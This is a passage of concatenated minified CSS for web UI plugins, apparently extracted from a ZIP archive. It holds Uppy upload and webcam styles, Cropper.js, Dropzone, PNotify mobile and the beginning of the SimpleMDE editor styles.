svg{width:100%;height:100%}.uppy-Dashboard-Item-previewIconWrap{height:76px;max-height:75%;position:relative}.uppy-Dashboard-Item-previewIconBg{width:100%;height:100%;filter:drop-shadow(rgba(0,0,0,.1) 0 1px 1px)}.uppy-Dashboard-upload{position:relative;width:50px;height:50px}.uppy-size--md .uppy-Dashboard-upload{width:60px;height:60px}.uppy-Dashboard-upload .uppy-c-icon{position:relative;top:1px;width:50%}[dir=ltr] .uppy-Dashboard-uploadCount{right:-12px}[dir=rtl] .uppy-Dashboard-uploadCount{left:-12px}.uppy-Dashboard-uploadCount{position:absolute;top:-12px;background-color:#1bb240;color:#fff;border-radius:50%;width:16px;height:16px;line-height:16px;font-size:8px}.uppy-size--md .uppy-Dashboard-uploadCount{width:18px;height:18px;line-height:18px;font-size:9px}.uppy-DragDrop-container{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;border-radius:7px;background-color:#fff;cursor:pointer;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Helvetica,Arial,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol;max-width:100%}.uppy-DragDrop-container:focus{outline:none;box-shadow:0 0 0 3px rgba(34,117,215,.4)}.uppy-DragDrop-container::-moz-focus-inner{border:0}.uppy-DragDrop-inner{margin:0;text-align:center;padding:80px 20px;line-height:1.4}.uppy-DragDrop-arrow{width:60px;height:60px;fill:#e0e0e0;margin-bottom:17px}.uppy-DragDrop--isDragDropSupported{border:2px dashed #adadad}.uppy-DragDrop--isDraggingOver{border:2px dashed #2275d7;background:#eaeaea}.uppy-DragDrop--isDraggingOver .uppy-DragDrop-arrow{fill:#939393}.uppy-DragDrop-label{display:block;font-size:1.15em;margin-bottom:5px}.uppy-DragDrop-browse{color:#2275d7;cursor:pointer}.uppy-DragDrop-note{font-size:1em;color:#adadad}.uppy-FileInput-container{margin-bottom:15px}.uppy-FileInput-btn{background:none;-webkit-appearance:none;font-family:inherit;font-size:inherit;line-height:1;margin:0;color:inherit;font-family:sans-serif;font-size:.85em;padding:10px 15px;color:#14457f;border:1px solid #14457f;border-radius:8px;cursor:pointer}.uppy-FileInput-btn:hover{background-color:#14457f;color:#fff}.uppy-ProgressBar{position:absolute;top:0;left:0;width:100%;height:3px;z-index:10000;transition:height .2s}.uppy-ProgressBar[aria-hidden=true]{height:0}.uppy-ProgressBar-inner{background-color:#2275d7;box-shadow:0 0 10px rgba(34,117,215,.7);height:100%;width:0;transition:width .4s ease}.uppy-ProgressBar-percentage{display:none;text-align:center;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);color:#fff}.uppy-Url{width:100%;height:100%;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;-ms-flex-pack:center;justify-content:center;-ms-flex-align:center;align-items:center;-ms-flex:1;flex:1}[data-uppy-theme=dark] .uppy-Url{background-color:#1f1f1f}.uppy-Url-input{width:90%;max-width:650px;margin-bottom:15px}.uppy-size--md .uppy-Url-input{margin-bottom:20px}.uppy-Url-importButton{padding:13px 25px}.uppy-size--md .uppy-Url-importButton{padding:13px 30px}.uppy-Webcam-container{width:100%;height:100%;display:-ms-flexbox;display:flex;-ms-flex-pack:center;justify-content:center;-ms-flex-align:center;align-items:center;-ms-flex-direction:column;flex-direction:column}.uppy-Webcam-videoContainer{width:100%;-ms-flex:1;flex:1;-ms-flex-positive:1;flex-grow:1;overflow:hidden;background-color:#333;text-align:center;position:relative}.uppy-Webcam-video{max-width:100%;max-height:100%;position:absolute;top:0;right:0;bottom:0;left:0;margin:auto}.uppy-Webcam-video--mirrored{transform:scaleX(-1)}.uppy-Webcam-footer{width:100%;min-height:75px;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between;padding:20px}.uppy-Webcam-videoSourceContainer{width:100%;-ms-flex-positive:0;flex-grow:0}.uppy-size--lg .uppy-Webcam-videoSourceContainer{width:33%;margin:0}.uppy-Webcam-videoSource-select{display:block;font-size:16px;line-height:1.2;padding:.4em 1em .3em .4em;width:100%;max-width:90%;border:1px solid #757575;background-image:url("data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22292.4%22%20height%3D%22292.4%22%3E%3Cpath%20fill%3D%22%23757575%22%20d%3D%22M287%2069.4a17.6%2017.6%200%200%200-13-5.4H18.4c-5%200-9.3%201.8-12.9%205.4A17.6%2017.6%200%200%200%200%2082.2c0%205%201.8%209.3%205.4%2012.9l128%20127.9c3.6%203.6%207.8%205.4%2012.8%205.4s9.2-1.8%2012.8-5.4L287%2095c3.5-3.5%205.4-7.8%205.4-12.8%200-5-1.9-9.2-5.5-12.8z%22%2F%3E%3C%2Fsvg%3E");background-repeat:no-repeat;background-position:right .4em top 50%,0 0;background-size:.65em auto,100%;margin:auto auto 10px;white-space:nowrap;text-overflow:ellipsis}.uppy-size--lg .uppy-Webcam-videoSource-select{font-size:14px;margin-bottom:0}.uppy-Webcam-videoSource-select::-ms-expand{display:none}.uppy-Webcam-buttonContainer{width:50%;margin-left:25%;text-align:center}.uppy-size--lg .uppy-Webcam-buttonContainer{width:34%;margin-left:0}.uppy-Webcam-recordingLength{width:25%;-ms-flex-positive:0;flex-grow:0;color:#757575;font-family:SFMono-Regular,Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace;text-align:right}.uppy-size--lg .uppy-Webcam-recordingLength{width:33%}.uppy-Webcam-button{width:45px;height:45px;border-radius:50%;background-color:#e32437;color:#fff;cursor:pointer;transition:all .3s}.uppy-Webcam-button:focus{outline:none}.uppy-Webcam-button::-moz-focus-inner{border:0}.uppy-Webcam-button:focus{box-shadow:0 0 0 3px rgba(34,117,215,.5)}.uppy-Webcam-button:hover{background-color:#d31b2d}[data-uppy-theme=dark] .uppy-Webcam-button:focus{outline:none}[data-uppy-theme=dark] .uppy-Webcam-button::-moz-focus-inner{border:0}[data-uppy-theme=dark] .uppy-Webcam-button:focus{box-shadow:0 0 0 2px rgba(170,225,255,.85)}.uppy-Webcam-button--submit{background-color:#2275d7;margin:0 12px}.uppy-Webcam-button--submit:hover{background-color:#1f69c1}.uppy-Webcam-button svg{width:30px;height:30px;max-width:100%;max-height:100%;display:inline-block;vertical-align:text-top;overflow:hidden;fill:currentColor}.uppy-size--md .uppy-Webcam-button{width:60px;height:60px}.uppy-Webcam-button--picture{margin-right:12px}.uppy-Webcam-permissons{padding:15px;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;-ms-flex-flow:column wrap;flex-flow:column wrap;height:100%;-ms-flex:1;flex:1}.uppy-Webcam-permissons p{max-width:450px;line-height:1.3;text-align:center;line-height:1.45;color:#939393;margin:0}.uppy-Webcam-permissonsIcon svg{width:100px;height:75px;color:#bbb;margin-bottom:30px}.uppy-Webcam-title{font-size:22px;line-height:1.35;font-weight:400;margin:0 0 5px;padding:0 15px;max-width:500px;text-align:center;color:#333}[data-uppy-theme=dark] .uppy-Webcam-title{color:#eaeaea}.uppy-ScreenCapture-container{width:100%;height:100%;display:-ms-flexbox;display:flex;-ms-flex-pack:center;justify-content:center;-ms-flex-align:center;align-items:center;-ms-flex-direction:column;flex-direction:column}.uppy-ScreenCapture-videoContainer{width:100%;-ms-flex:1;flex:1;-ms-flex-positive:1;flex-grow:1;overflow:hidden;background-color:#333;text-align:center;position:relative}.uppy-size--md .uppy-ScreenCapture-videoContainer{max-width:100%}.uppy-ScreenCapture-video{max-width:100%;max-height:100%;position:absolute;top:0;right:0;bottom:0;left:0;margin:auto;outline:0}.uppy-ScreenCapture-buttonContainer{width:100%;height:75px;border-top:1px solid #eaeaea;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;padding:0 20px;background-color:#fff}[data-uppy-theme=dark] .uppy-ScreenCapture-buttonContainer{background-color:#1f1f1f;border-top:1px solid #333}.uppy-ScreenCapture-button{width:45px;height:45px;border-radius:50%;color:#fff;cursor:pointer;transition:all .3s}.uppy-ScreenCapture-button:focus{outline:none}.uppy-ScreenCapture-button::-moz-focus-inner{border:0}.uppy-ScreenCapture-button:focus{box-shadow:0 0 0 3px rgba(34,117,215,.5)}[data-uppy-theme=dark] .uppy-ScreenCapture-button:focus{outline:none}[data-uppy-theme=dark] .uppy-ScreenCapture-button::-moz-focus-inner{border:0}[data-uppy-theme=dark] .uppy-ScreenCapture-button:focus{box-shadow:0 0 0 2px rgba(170,225,255,.85)}.uppy-size--md .uppy-ScreenCapture-button{width:60px;height:60px}.uppy-ScreenCapture-button:hover{background-color:#d31b2d}.uppy-ScreenCapture-button svg{width:30px;height:30px;max-width:100%;max-height:100%;display:inline-block;vertical-align:text-top;overflow:hidden;fill:currentColor}.uppy-ScreenCapture-button--submit{background-color:#2275d7;margin-left:12px}.uppy-ScreenCapture-button--submit:hover{background-color:#1f69c1}.uppy-ScreenCapture-button--submit:disabled{background-color:#939393;cursor:default}.uppy-ScreenCapture-button--submit:disabled:hover{background-color:#eaeaea}.uppy-ScreenCapture-title{font-size:22px;line-height:1.35;font-weight:400;margin:0 0 5px;padding:0 15px;max-width:500px;text-align:center;color:#333}.uppy-ScreenCapture-icon--stream{position:absolute;right:0;top:0;margin:1rem;z-index:1}.uppy-ScreenCapture-icon--stream svg{fill:#939393}.uppy-ScreenCapture-icon--streamActive svg{animation:uppy-ScreenCapture-icon--blink 1s cubic-bezier(.47,0,.75,.72) infinite}@keyframes uppy-ScreenCapture-icon--blink{0%{fill:#2275d7}50%{fill:#939393}to{fill:#2275d7}}.uppy-ScreenCapture-button--video{color:#fff;background:#e32437}.uppy-ScreenCapture-button--video:hover{background-color:#bc1828}[type=range]{-webkit-appearance:none;background:transparent;margin:9px 0;width:100%}[type=range]::-moz-focus-outer{border:0}[type=range]:focus{outline:0}[type=range]:focus::-webkit-slider-runnable-track{background:hsla(0,0%,100%,.2)}[type=range]:focus::-ms-fill-lower,[type=range]:focus::-ms-fill-upper{background:hsla(0,0%,100%,.2)}[type=range]::-webkit-slider-runnable-track{cursor:default;height:4px;-webkit-transition:all .2s ease;transition:all .2s ease;width:100%;box-shadow:0 0 0 transparent,0 0 0 rgba(13,13,13,0);background:hsla(0,0%,100%,.2);border:0 solid transparent;border-radius:5px}[type=range]::-webkit-slider-thumb{box-shadow:0 0 4px rgba(0,0,0,.2),0 0 0 rgba(13,13,13,.2);background:#fff;border:0 solid transparent;border-radius:9px;box-sizing:border-box;cursor:default;height:18px;width:18px;-webkit-appearance:none;margin-top:-7px}[type=range]::-moz-range-track{box-shadow:0 0 0 transparent,0 0 0 rgba(13,13,13,0);cursor:default;-moz-transition:all .2s ease;transition:all .2s ease;width:100%;background:hsla(0,0%,100%,.2);border:0 solid transparent;border-radius:5px;height:4px}[type=range]::-moz-range-thumb{box-shadow:0 0 4px rgba(0,0,0,.2),0 0 0 rgba(13,13,13,.2);background:#fff;border:0 solid transparent;border-radius:9px;box-sizing:border-box;cursor:default;height:18px;width:18px}[type=range]::-ms-track{cursor:default;height:4px;-ms-transition:all .2s ease;transition:all .2s ease;width:100%;background:transparent;border-color:transparent;border-width:9px 0;color:transparent}[type=range]::-ms-fill-lower{background:hsla(0,0%,94.9%,.2)}[type=range]::-ms-fill-lower,[type=range]::-ms-fill-upper{box-shadow:0 0 0 transparent,0 0 0 rgba(13,13,13,0);border:0 solid transparent;border-radius:10px}[type=range]::-ms-fill-upper{background:hsla(0,0%,100%,.2)}[type=range]::-ms-thumb{box-shadow:0 0 4px rgba(0,0,0,.2),0 0 0 rgba(13,13,13,.2);background:#fff;border:0 solid transparent;border-radius:9px;box-sizing:border-box;cursor:default;height:18px;width:18px;margin-top:1px}[type=range]:disabled::-moz-range-thumb,[type=range]:disabled::-ms-fill-lower,[type=range]:disabled::-ms-fill-upper,[type=range]:disabled::-ms-thumb,[type=range]:disabled::-webkit-slider-runnable-track,[type=range]:disabled::-webkit-slider-thumb{cursor:not-allowed} /*! * Cropper.js v1.5.6 * https://fengyuanchen.github.io/cropperjs * * Copyright 2015-present Chen Fengyuan * Released under the MIT license * * Date: 2019-10-04T04:33:44.164Z */.cropper-container{direction:ltr;font-size:0;line-height:0;position:relative;-ms-touch-action:none;touch-action:none;-webkit-user-select:none;-ms-user-select:none;user-select:none}.cropper-container img{display:block;height:100%;image-orientation:0deg;max-height:none!important;max-width:none!important;min-height:0!important;min-width:0!important;width:100%}.cropper-canvas,.cropper-crop-box,.cropper-drag-box,.cropper-modal,.cropper-wrap-box{bottom:0;left:0;position:absolute;right:0;top:0}.cropper-canvas,.cropper-wrap-box{overflow:hidden}.cropper-drag-box{background-color:#fff;opacity:0}.cropper-modal{background-color:#000;opacity:1}.cropper-view-box{display:block;height:100%;outline:1px solid #39f;outline-color:rgba(51,153,255,.75);overflow:hidden;width:100%}.cropper-dashed{border:0 dashed #eee;display:block;opacity:.5;position:absolute}.cropper-dashed.dashed-h{border-bottom-width:1px;border-top-width:1px;height:33.33333%;left:0;top:33.33333%;width:100%}.cropper-dashed.dashed-v{border-left-width:1px;border-right-width:1px;height:100%;left:33.33333%;top:0;width:33.33333%}.cropper-center{display:block;height:0;left:50%;opacity:.75;position:absolute;top:50%;width:0}.cropper-center:after,.cropper-center:before{background-color:#eee;content:" ";display:block;position:absolute}.cropper-center:before{height:1px;left:-3px;top:0;width:7px}.cropper-center:after{height:7px;left:0;top:-3px;width:1px}.cropper-face,.cropper-line,.cropper-point{display:block;height:100%;opacity:.1;position:absolute;width:100%}.cropper-face{background-color:#fff;left:0;top:0;opacity:0}.cropper-line{background-color:#39f}.cropper-line.line-e{cursor:ew-resize;right:-3px;top:0;width:5px}.cropper-line.line-n{cursor:ns-resize;height:5px;left:0;top:-3px}.cropper-line.line-w{cursor:ew-resize;left:-3px;top:0;width:5px}.cropper-line.line-s{bottom:-3px;cursor:ns-resize;height:5px;left:0}.cropper-point{background-color:#39f;height:5px;opacity:.75;width:5px}.cropper-point.point-e{cursor:ew-resize;margin-top:-3px;right:-3px;top:50%}.cropper-point.point-n{cursor:ns-resize;left:50%;margin-left:-3px;top:-3px}.cropper-point.point-w{cursor:ew-resize;left:-3px;margin-top:-3px;top:50%}.cropper-point.point-s{bottom:-3px;cursor:s-resize;left:50%;margin-left:-3px}.cropper-point.point-ne{cursor:nesw-resize;right:-3px;top:-3px}.cropper-point.point-nw{cursor:nwse-resize;left:-3px;top:-3px}.cropper-point.point-sw{bottom:-3px;cursor:nesw-resize;left:-3px}.cropper-point.point-se{bottom:-3px;cursor:nwse-resize;height:20px;opacity:1;right:-3px;width:20px}@media (min-width:768px){.cropper-point.point-se{height:15px;width:15px}}@media (min-width:992px){.cropper-point.point-se{height:10px;width:10px}}@media (min-width:1200px){.cropper-point.point-se{height:5px;opacity:.75;width:5px}}.cropper-point.point-se:before{background-color:#39f;bottom:-50%;content:" ";display:block;height:200%;opacity:0;position:absolute;right:-50%;width:200%}.cropper-invisible{opacity:0}.cropper-bg{background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQAQMAAAAlPW0iAAAAA3NCSVQICAjb4U/gAAAABlBMVEXMzMz////TjRV2AAAACXBIWXMAAArrAAAK6wGCiw1aAAAAHHRFWHRTb2Z0d2FyZQBBZG9iZSBGaXJld29ya3MgQ1M26LyyjAAAABFJREFUCJlj+M/AgBVhF/0PAH6/D/HkDxOGAAAAAElFTkSuQmCC")}.cropper-hide{display:block;height:0;position:absolute;width:0}.cropper-hidden{display:none!important}.cropper-move{cursor:move}.cropper-crop{cursor:crosshair}.cropper-disabled .cropper-drag-box,.cropper-disabled .cropper-face,.cropper-disabled .cropper-line,.cropper-disabled .cropper-point{cursor:not-allowed}.uppy-ImageCropper{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;width:100%;height:100%}.uppy-ImageCropper-container{-ms-flex-positive:1;flex-grow:1}.uppy-ImageCropper-image{display:block;max-height:400px}.uppy-ImageCropper-controls{position:absolute;bottom:15px;left:50%;transform:translateX(-50%);background-color:rgba(0,0,0,.6);color:#fff;display:-ms-flexbox;display:flex;-ms-flex-pack:center;justify-content:center;-ms-flex-align:center;align-items:center;padding-top:38px}@media screen and (min-width:768px){.uppy-ImageCropper-controls{padding-top:0}}.uppy-ImageCropper-controls button{width:35px;height:35px}.uppy-ImageCropper-controls button svg{padding:3px}.uppy-size--md .uppy-ImageCropper-controls button{width:40px;height:40px}.uppy-size--md .uppy-ImageCropper-controls button svg{padding:1px}.uppy-ImageCropper-controls button:hover{background-color:rgba(34,117,215,.8)}.uppy-ImageCropper-controls button:focus{outline:none;background-color:rgba(34,117,215,.8)}.uppy-ImageCropper-rangeWrapper{position:absolute!important;height:38px;top:0;right:10px;left:10px}@media screen and (min-width:768px){.uppy-ImageCropper-rangeWrapper{position:static!important;height:auto}}@media screen and (min-width:768px){.uppy-ImageCropper-range{margin-right:15px;margin-left:5px;width:180px}}.uppy-ImageCropper .cropper-point{width:8px;height:8px}.uppy-ImageCropper .cropper-view-box{outline:2px solid #39f}.uppy-is-drag-over:after{content:"";position:fixed;top:7px;right:7px;bottom:7px;left:7px;border:5px dashed #bbb;z-index:10000;background-color:hsla(0,0%,91.8%,.5)}PKZgg&g&css/plugins/dropzone.min.cssnu[@-webkit-keyframes passing-through{0%{opacity:0;-webkit-transform:translateY(40px);-moz-transform:translateY(40px);-ms-transform:translateY(40px);-o-transform:translateY(40px);transform:translateY(40px)}30%,70%{opacity:1;-webkit-transform:translateY(0px);-moz-transform:translateY(0px);-ms-transform:translateY(0px);-o-transform:translateY(0px);transform:translateY(0px)}100%{opacity:0;-webkit-transform:translateY(-40px);-moz-transform:translateY(-40px);-ms-transform:translateY(-40px);-o-transform:translateY(-40px);transform:translateY(-40px)}}@-moz-keyframes passing-through{0%{opacity:0;-webkit-transform:translateY(40px);-moz-transform:translateY(40px);-ms-transform:translateY(40px);-o-transform:translateY(40px);transform:translateY(40px)}30%,70%{opacity:1;-webkit-transform:translateY(0px);-moz-transform:translateY(0px);-ms-transform:translateY(0px);-o-transform:translateY(0px);transform:translateY(0px)}100%{opacity:0;-webkit-transform:translateY(-40px);-moz-transform:translateY(-40px);-ms-transform:translateY(-40px);-o-transform:translateY(-40px);transform:translateY(-40px)}}@keyframes passing-through{0%{opacity:0;-webkit-transform:translateY(40px);-moz-transform:translateY(40px);-ms-transform:translateY(40px);-o-transform:translateY(40px);transform:translateY(40px)}30%,70%{opacity:1;-webkit-transform:translateY(0px);-moz-transform:translateY(0px);-ms-transform:translateY(0px);-o-transform:translateY(0px);transform:translateY(0px)}100%{opacity:0;-webkit-transform:translateY(-40px);-moz-transform:translateY(-40px);-ms-transform:translateY(-40px);-o-transform:translateY(-40px);transform:translateY(-40px)}}@-webkit-keyframes slide-in{0%{opacity:0;-webkit-transform:translateY(40px);-moz-transform:translateY(40px);-ms-transform:translateY(40px);-o-transform:translateY(40px);transform:translateY(40px)}30%{opacity:1;-webkit-transform:translateY(0px);-moz-transform:translateY(0px);-ms-transform:translateY(0px);-o-transform:translateY(0px);transform:translateY(0px)}}@-moz-keyframes slide-in{0%{opacity:0;-webkit-transform:translateY(40px);-moz-transform:translateY(40px);-ms-transform:translateY(40px);-o-transform:translateY(40px);transform:translateY(40px)}30%{opacity:1;-webkit-transform:translateY(0px);-moz-transform:translateY(0px);-ms-transform:translateY(0px);-o-transform:translateY(0px);transform:translateY(0px)}}@keyframes slide-in{0%{opacity:0;-webkit-transform:translateY(40px);-moz-transform:translateY(40px);-ms-transform:translateY(40px);-o-transform:translateY(40px);transform:translateY(40px)}30%{opacity:1;-webkit-transform:translateY(0px);-moz-transform:translateY(0px);-ms-transform:translateY(0px);-o-transform:translateY(0px);transform:translateY(0px)}}@-webkit-keyframes pulse{0%{-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1);transform:scale(1)}10%{-webkit-transform:scale(1.1);-moz-transform:scale(1.1);-ms-transform:scale(1.1);-o-transform:scale(1.1);transform:scale(1.1)}20%{-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1);transform:scale(1)}}@-moz-keyframes pulse{0%{-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1);transform:scale(1)}10%{-webkit-transform:scale(1.1);-moz-transform:scale(1.1);-ms-transform:scale(1.1);-o-transform:scale(1.1);transform:scale(1.1)}20%{-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1);transform:scale(1)}}@keyframes pulse{0%{-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1);transform:scale(1)}10%{-webkit-transform:scale(1.1);-moz-transform:scale(1.1);-ms-transform:scale(1.1);-o-transform:scale(1.1);transform:scale(1.1)}20%{-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1);transform:scale(1)}}.dropzone,.dropzone *{box-sizing:border-box}.dropzone{min-height:150px;border:2px solid rgba(0,0,0,.3);background:#fff;padding:20px 20px}.dropzone.dz-clickable{cursor:pointer}.dropzone.dz-clickable *{cursor:default}.dropzone.dz-clickable .dz-message,.dropzone.dz-clickable .dz-message *{cursor:pointer}.dropzone.dz-started .dz-message{display:none}.dropzone.dz-drag-hover{border-style:solid}.dropzone.dz-drag-hover .dz-message{opacity:.5}.dropzone .dz-message{text-align:center;margin:2em 0}.dropzone .dz-message .dz-button{background:none;color:inherit;border:none;padding:0;font:inherit;cursor:pointer;outline:inherit}.dropzone .dz-preview{position:relative;display:inline-block;vertical-align:top;margin:16px;min-height:100px}.dropzone .dz-preview:hover{z-index:1000}.dropzone .dz-preview:hover .dz-details{opacity:1}.dropzone .dz-preview.dz-file-preview .dz-image{border-radius:20px;background:#999;background:linear-gradient(to bottom, #eee, #ddd)}.dropzone .dz-preview.dz-file-preview .dz-details{opacity:1}.dropzone .dz-preview.dz-image-preview{background:#fff}.dropzone .dz-preview.dz-image-preview .dz-details{-webkit-transition:opacity 0.2s linear;-moz-transition:opacity 0.2s linear;-ms-transition:opacity 0.2s linear;-o-transition:opacity 0.2s linear;transition:opacity 0.2s linear}.dropzone .dz-preview .dz-remove{font-size:14px;text-align:center;display:block;cursor:pointer;border:none}.dropzone .dz-preview .dz-remove:hover{text-decoration:underline}.dropzone .dz-preview:hover .dz-details{opacity:1}.dropzone .dz-preview .dz-details{z-index:20;position:absolute;top:0;left:0;opacity:0;font-size:13px;min-width:100%;max-width:100%;padding:2em 1em;text-align:center;color:rgba(0,0,0,.9);line-height:150%}.dropzone .dz-preview .dz-details .dz-size{margin-bottom:1em;font-size:16px}.dropzone .dz-preview .dz-details .dz-filename{white-space:nowrap}.dropzone .dz-preview .dz-details .dz-filename:hover span{border:1px solid rgba(200,200,200,.8);background-color:rgba(255,255,255,.8)}.dropzone .dz-preview .dz-details .dz-filename:not(:hover){overflow:hidden;text-overflow:ellipsis}.dropzone .dz-preview .dz-details .dz-filename:not(:hover) span{border:1px solid transparent}.dropzone .dz-preview .dz-details .dz-filename span,.dropzone .dz-preview .dz-details .dz-size span{background-color:rgba(255,255,255,.4);padding:0 .4em;border-radius:3px}.dropzone .dz-preview:hover .dz-image img{-webkit-transform:scale(1.05, 1.05);-moz-transform:scale(1.05, 1.05);-ms-transform:scale(1.05, 1.05);-o-transform:scale(1.05, 1.05);transform:scale(1.05, 1.05);-webkit-filter:blur(8px);filter:blur(8px)}.dropzone .dz-preview .dz-image{border-radius:20px;overflow:hidden;width:120px;height:120px;position:relative;display:block;z-index:10}.dropzone .dz-preview .dz-image img{display:block}.dropzone .dz-preview.dz-success .dz-success-mark{-webkit-animation:passing-through 3s cubic-bezier(0.77, 0, 0.175, 1);-moz-animation:passing-through 3s cubic-bezier(0.77, 0, 0.175, 1);-ms-animation:passing-through 3s cubic-bezier(0.77, 0, 0.175, 1);-o-animation:passing-through 3s cubic-bezier(0.77, 0, 0.175, 1);animation:passing-through 3s cubic-bezier(0.77, 0, 0.175, 1)}.dropzone .dz-preview.dz-error .dz-error-mark{opacity:1;-webkit-animation:slide-in 3s cubic-bezier(0.77, 0, 0.175, 1);-moz-animation:slide-in 3s cubic-bezier(0.77, 0, 0.175, 1);-ms-animation:slide-in 3s cubic-bezier(0.77, 0, 0.175, 1);-o-animation:slide-in 3s cubic-bezier(0.77, 0, 0.175, 1);animation:slide-in 3s cubic-bezier(0.77, 0, 0.175, 1)}.dropzone .dz-preview .dz-success-mark,.dropzone .dz-preview .dz-error-mark{pointer-events:none;opacity:0;z-index:500;position:absolute;display:block;top:50%;left:50%;margin-left:-27px;margin-top:-27px}.dropzone .dz-preview .dz-success-mark svg,.dropzone .dz-preview .dz-error-mark svg{display:block;width:54px;height:54px}.dropzone .dz-preview.dz-processing .dz-progress{opacity:1;-webkit-transition:all 0.2s linear;-moz-transition:all 0.2s linear;-ms-transition:all 0.2s linear;-o-transition:all 0.2s linear;transition:all 0.2s linear}.dropzone .dz-preview.dz-complete .dz-progress{opacity:0;-webkit-transition:opacity 0.4s ease-in;-moz-transition:opacity 0.4s ease-in;-ms-transition:opacity 0.4s ease-in;-o-transition:opacity 0.4s ease-in;transition:opacity 0.4s ease-in}.dropzone .dz-preview:not(.dz-processing) .dz-progress{-webkit-animation:pulse 6s ease infinite;-moz-animation:pulse 6s ease infinite;-ms-animation:pulse 6s ease infinite;-o-animation:pulse 6s ease infinite;animation:pulse 6s ease infinite}.dropzone .dz-preview .dz-progress{opacity:1;z-index:1000;pointer-events:none;position:absolute;height:16px;left:50%;top:50%;margin-top:-8px;width:80px;margin-left:-40px;background:rgba(255,255,255,.9);-webkit-transform:scale(1);border-radius:8px;overflow:hidden}.dropzone .dz-preview .dz-progress .dz-upload{background:#333;background:linear-gradient(to bottom, #666, #444);position:absolute;top:0;left:0;bottom:0;width:0;-webkit-transition:width 300ms ease-in-out;-moz-transition:width 300ms ease-in-out;-ms-transition:width 300ms ease-in-out;-o-transition:width 300ms ease-in-out;transition:width 300ms ease-in-out}.dropzone .dz-preview.dz-error .dz-error-message{display:block}.dropzone .dz-preview.dz-error:hover .dz-error-message{opacity:1;pointer-events:auto}.dropzone .dz-preview .dz-error-message{pointer-events:none;z-index:1000;position:absolute;display:block;display:none;opacity:0;-webkit-transition:opacity 0.3s ease;-moz-transition:opacity 0.3s ease;-ms-transition:opacity 0.3s ease;-o-transition:opacity 0.3s ease;transition:opacity 0.3s ease;border-radius:8px;font-size:13px;top:130px;left:-10px;width:140px;background:#be2626;background:linear-gradient(to bottom, #be2626, #a92222);padding:.5em 1.2em;color:#fff}.dropzone .dz-preview .dz-error-message:after{content:"";position:absolute;top:-6px;left: 64px;width:0;height:0;border-left:6px solid transparent;border-right:6px solid transparent;border-bottom:6px solid #be2626}PKZm Scss/plugins/PNotifyMobile.cssnu[[data-pnotify] .pnotify-container{position:relative}[data-pnotify] .pnotify-mobile-animate-left{transition:left .1s ease}[data-pnotify] .pnotify-mobile-animate-top{transition:top .1s ease}@media(max-width:480px){[data-pnotify].pnotify{font-size:1.2em;-webkit-font-smoothing:antialiased;-moz-font-smoothing:antialiased;-ms-font-smoothing:antialiased;font-smoothing:antialiased}body>[data-pnotify].pnotify{position:fixed}[data-pnotify].pnotify.pnotify-stack-down,[data-pnotify].pnotify.pnotify-stack-up{width:100%!important}[data-pnotify].pnotify.pnotify-stack-left,[data-pnotify].pnotify.pnotify-stack-right{height:100%!important}[data-pnotify].pnotify .pnotify-shadow{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}[data-pnotify].pnotify.pnotify-stack-down .pnotify-shadow{border-bottom-width:5px}[data-pnotify].pnotify.pnotify-stack-up .pnotify-shadow{border-top-width:5px}[data-pnotify].pnotify.pnotify-stack-right .pnotify-shadow{border-right-width:5px}[data-pnotify].pnotify.pnotify-stack-left .pnotify-shadow{border-left-width:5px}[data-pnotify].pnotify .pnotify-container{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}[data-pnotify].pnotify.pnotify-stack-down .pnotify-container,[data-pnotify].pnotify.pnotify-stack-up .pnotify-container{width:auto!important}[data-pnotify].pnotify.pnotify-stack-left .pnotify-container,[data-pnotify].pnotify.pnotify-stack-right .pnotify-container{height:100%!important}}PKZL**css/plugins/simplemde.min.cssnu[/** * simplemde v1.11.2 * Copyright Next Step Webs, Inc. * @link https://github.com/NextStepWebs/simplemde-markdown-editor * @license MIT */ .CodeMirror{color:#000}.CodeMirror-lines{padding:4px 0}.CodeMirror pre{padding:0 4px}.CodeMirror-gutter-filler,.CodeMirror-scrollbar-filler{background-color:#fff}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{border-left:1px solid #000;border-right:none;width:0}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;border:0!important;background:#7e7}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-animate-fat-cursor{width:auto;border:0;-webkit-animation:blink 1.06s steps(1) infinite;-moz-animation:blink 1.06s steps(1) infinite;animation:blink 1.06s steps(1) infinite;background-color:#7e7}@-moz-keyframes blink{50%{background-color:transparent}}@-webkit-keyframes blink{50%{background-color:transparent}}@keyframes blink{50%{background-color:transparent}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-ruler{border-left:1px 